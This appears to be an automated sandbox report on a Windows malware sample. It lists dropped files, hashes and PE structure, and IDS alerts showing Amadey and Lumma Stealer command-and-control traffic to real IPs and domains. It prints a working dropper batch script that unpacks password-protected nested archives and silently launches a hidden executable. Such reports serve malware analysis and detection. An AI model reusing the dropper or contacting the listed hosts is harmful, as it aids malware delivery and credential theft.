
C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.42653423739623
Encrypted:	false
SSDEEP:	6:1EvXlLVX7L1UEZ+lX1CGdKUe6tkHs+Zgty0lNEt0:1Ev37BQ1CGAFBZgtVNEt0
MD5:	92A49B8903125FCBDC912F02C473C759
SHA1:	B3D06E3E2488613F6A0739CEA785357CD7979A12
SHA-256:	D95ABFFF93E1BC457FF42C1135F29F6B3F09EEA035D32256113B5DDC03A399B7
SHA-512:	9705CAFFE256F1443A0873C374508BDF445BBCCC9E3F56D45A5BE2CF367D8AD4056D01D594BDABD9C59EC51CB69C925494CDDFC02542623F11403212BFCB218E
Malicious:	false
Preview:	.....!jT.#.O......v.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.h.u.b.e.r.t.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........H.U.B.E.R.T.-.P.C.\.h.u.b.e.r.t...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5534829387394264
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'003'904 bytes
MD5:	4072633a022e6587009b5ca189ff4613
SHA1:	d54d3cf0878186b3b8230f1f0b8188bf1bcd738e
SHA256:	003b43813ec5522429efc587a873871a2d6fc14c4c9c6008a7d27bce0920db19
SHA512:	136ebcb816217cecb81f5b521b7102d54eb17f4f0685ab003e7013cbff75e7074ee93a086f847c5a0f9f0c3f2eb8c5c5706b07fe119182c86d2007699a98f700
SSDEEP:	49152:1gK4zTjzmIGvbESuW1QoEi9YJlYAWA9XMv3MaDUyHAHE:p4zTGBvoSuW1Qof9lAWA9Xw3Ma4E
TLSH:	59D528D2B60561CFD0CE27B45427CD8A995D03FA872119C7EC1874BBEDA7CC229BAD24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x718000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6B30875D9Ah
lfs ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
aam 8Fh
in al, 0Fh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x316970	0x10	rlgtiwao
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x316920	0x18	rlgtiwao
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f5a6346abb50494cfff6df4ab2d27717	False	0.9981320248637602	data	7.981358643566328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rlgtiwao	0x6b000	0x2ac000	0x2aba00	eb0b0ecb25ea5cfb1c3ad1853e25ed44	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yjhidprh	0x317000	0x1000	0x400	544ad8c266a1aa4e44ac1d1a10a1a5c8	False	0.7431640625	data	5.862949997694122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x318000	0x3000	0x2200	7ea5245026b2f746264c164f96345e14	False	0.0627297794117647	DOS executable (COM)	0.7778926834158965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T09:07:06.026327+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49709	185.215.113.43	80	TCP
2024-12-18T09:07:11.028065+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49711	31.41.244.11	80	TCP
2024-12-18T09:07:14.901476+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49710	TCP
2024-12-18T09:07:16.245823+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49712	185.215.113.43	80	TCP
2024-12-18T09:07:17.329177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:17.690884+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49714	31.41.244.11	80	TCP
2024-12-18T09:07:18.080280+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:18.080280+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49713	104.21.23.76	443	TCP
2024-12-18T09:07:19.408774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:20.152865+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:20.152865+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49715	104.21.23.76	443	TCP
2024-12-18T09:07:21.773714+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49716	104.21.23.76	443	TCP
2024-12-18T09:07:24.062217+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49717	104.21.23.76	443	TCP
2024-12-18T09:07:26.685085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49718	104.21.23.76	443	TCP
2024-12-18T09:07:28.376125+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49719	185.215.113.43	80	TCP
2024-12-18T09:07:29.695338+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49721	104.21.23.76	443	TCP
2024-12-18T09:07:29.827789+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49720	31.41.244.11	80	TCP
2024-12-18T09:07:30.441203+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49721	104.21.23.76	443	TCP
2024-12-18T09:07:32.807815+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49722	104.21.23.76	443	TCP
2024-12-18T09:07:36.857153+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49723	185.215.113.43	80	TCP
2024-12-18T09:07:38.095804+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49725	104.21.23.76	443	TCP
2024-12-18T09:07:38.307666+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49724	31.41.244.11	80	TCP
2024-12-18T09:07:38.814729+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49725	104.21.23.76	443	TCP
2024-12-18T09:07:42.955483+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.8	54512	1.1.1.1	53	UDP
2024-12-18T09:07:43.181645+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.8	55921	1.1.1.1	53	UDP
2024-12-18T09:07:44.774360+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:44.774360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:44.940259+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49726	185.215.113.43	80	TCP
2024-12-18T09:07:45.506236+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:45.506236+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49727	172.67.179.109	443	TCP
2024-12-18T09:07:46.767356+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:46.767356+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:47.739835+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:47.739835+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49728	172.67.179.109	443	TCP
2024-12-18T09:07:49.409802+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49730	172.67.179.109	443	TCP
2024-12-18T09:07:49.409802+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49730	172.67.179.109	443	TCP
2024-12-18T09:07:51.624887+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49732	172.67.179.109	443	TCP
2024-12-18T09:07:51.624887+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49732	172.67.179.109	443	TCP
2024-12-18T09:07:54.131066+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49734	172.67.179.109	443	TCP
2024-12-18T09:07:54.131066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49734	172.67.179.109	443	TCP
2024-12-18T09:07:57.092063+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49736	172.67.179.109	443	TCP
2024-12-18T09:07:57.092063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49736	172.67.179.109	443	TCP
2024-12-18T09:07:59.595987+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49737	172.67.179.109	443	TCP
2024-12-18T09:07:59.595987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49737	172.67.179.109	443	TCP
2024-12-18T09:07:59.604881+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49737	172.67.179.109	443	TCP
2024-12-18T09:08:02.921885+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.8	49740	172.67.179.109	443	TCP
2024-12-18T09:08:02.921885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49740	172.67.179.109	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:07:04.578993082 CET	49709	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:04.698749065 CET	80	49709	185.215.113.43	192.168.2.8
Dec 18, 2024 09:07:04.699554920 CET	49709	80	192.168.2.8	185.215.113.43
Dec 18, 2024 09:07:04.713125944 CET	49709	80	192.168.2.8	185.215.113.43
